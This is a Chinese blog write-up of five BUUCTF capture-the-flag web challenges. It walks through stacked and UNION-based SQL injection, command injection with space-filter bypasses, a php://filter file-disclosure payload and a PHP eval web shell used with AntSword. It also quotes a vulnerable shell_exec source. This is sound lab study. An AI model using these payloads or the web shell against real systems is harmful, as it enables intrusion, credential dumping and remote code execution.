第八周buuctf

[SUCTF 2019]EasySQL

在这里插入图片描述
先判断一下是数字型还是字符型,输入1
在这里插入图片描述
有回显;然后各种试试试,都是nonono

还好,试了一下堆叠注入
爆出数据库:1;show databases;#
在这里插入图片描述
爆表:1;show tables;#
在这里插入图片描述
然后爆字段:1;show columns from FLAG;#,输入后回显Nonono.,猜测有被过滤

下面是学习众多大佬的方法
猜测出查询语句为:select “.$post[‘query’].”||flag from Flag
由于本题没有过滤*,用*查询flag中的所有字段,所以直接构造payload为:*,1
在这里插入图片描述

[GXYCTF2019]Ping Ping Ping

题目类型:命令执行+代码审计
提示/?ip=

输入/?ip=127.0.0.1,回显成功
在这里插入图片描述
显示当前的所有文件:`/?ip=127.0.0.1|ls
在这里插入图片描述

查到了两个php文件 查看flag.php:?ip=127.0.0.1|cat flag.php`
在这里插入图片描述
这里提示/?ip= fxck your space!额···fxck是什么东西,space是空格,大佬说应该是空格被过滤了

命令中空格被过滤的解决方法:
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt: $IFS$9 $9指传过来的第9个参数
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

查看index.php文件:/?ip=127.0.0.1|cat$IFS$9index.php
在这里插入图片描述
发现这个PHP代码好像不太全,我们查看一下源码,出来了,下面是PHP代码

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);//执行操作符 ,-c 4 表示ping的指定次数为4
  echo "<pre>";
  print_r($a);
}

?>


学一下大佬的方法
变量拼接字符串——将a的值覆盖,然后进行绕过
构造payload:/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
总之就是用变量拼接成flag
在这里插入图片描述
查看源码
在这里插入图片描述

[极客大挑战 2019]Secret File

在这里插入图片描述
查看源码

<!DOCTYPE html>

<html>

<style type="text/css" >
#master {
    position:absolute;
    left:44%;
    bottom:0;
    text-align :center;
        }
        p,h1 {
                cursor: default;
        }
</style>

        <head>
                <meta charset="utf-8">
                <title>蒋璐源的秘密</title>
        </head>

        <body style="background-color:black;"><br><br><br><br><br><br>

            <h1 style="font-family:verdana;color:red;text-align:center;">你想知道蒋璐源的秘密么?</h1><br><br><br>

            <p style="font-family:arial;color:red;font-size:20px;text-align:center;">想要的话可以给你,去找吧!把一切都放在那里了!</p>
            <a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>
            <div style="position: absolute;bottom: 0;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
        </body>
</html>


有这样一行代码<a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>
进入这个目录查看一下
在这里插入图片描述
在这里插入图片描述
提示查阅结束,返回上个目录,查看一下源码
在这里插入图片描述
此时也没有什么发现,抓个包试了试
在这里插入图片描述
这里提示secr3t.php,我们进入这个目录看一下
在这里插入图片描述
这里提示flag放在了flag.php里,进入falg.php目录
在这里插入图片描述
没有出现flag,找到了但是看不到,此时又想到了PHP的封装协议,我们用一下 [ACTF2020 新生赛]Include里面使用的方法

构造payload: /secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
在这里插入图片描述
拿去解密
在这里插入图片描述

[极客大挑战 2019]LoveSQL

先随便输入一个万能密码
在这里插入图片描述
找到回显位置
在这里插入图片描述
在这里插入图片描述
试试联合查询,一直到3的时候回显正常
在这里插入图片描述
2和3有回显位置
在这里插入图片描述
输入用户名为1
爆数据库password=:1' union select 1,2,database()#
在这里插入图片描述
在这里插入图片描述
得到数据库名为geek
爆表名password=1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1#——爆出表名为geekuser
爆表名password=1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1#——爆出表名为l0ve1ysq1
爆列名password=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' #——id,username,password
在这里插入图片描述
爆数据:/check.php?username=1&password=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23
在这里插入图片描述
在这里插入图片描述

flag{6322f05a-d432-4a7e-a8e0-7de2e394dba6}

[极客大挑战 2019]Knife

在这里插入图片描述
很明显的提示,用中国菜刀或者蚁剑,这里我使用蚁剑

构造payload:/?<?php eval($_POST["Syc"]);?>

打开蚁剑添加数据
URL地址为:http://094fc751-45ef-4f6e-961d-daee474ee7b4.node4.buuoj.cn/index.php
密码为:Syc
在这里插入图片描述

用蚁剑查看目录
在这里插入图片描述
查看根目录,找到flag
在这里插入图片描述
进入flag文件夹里
在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值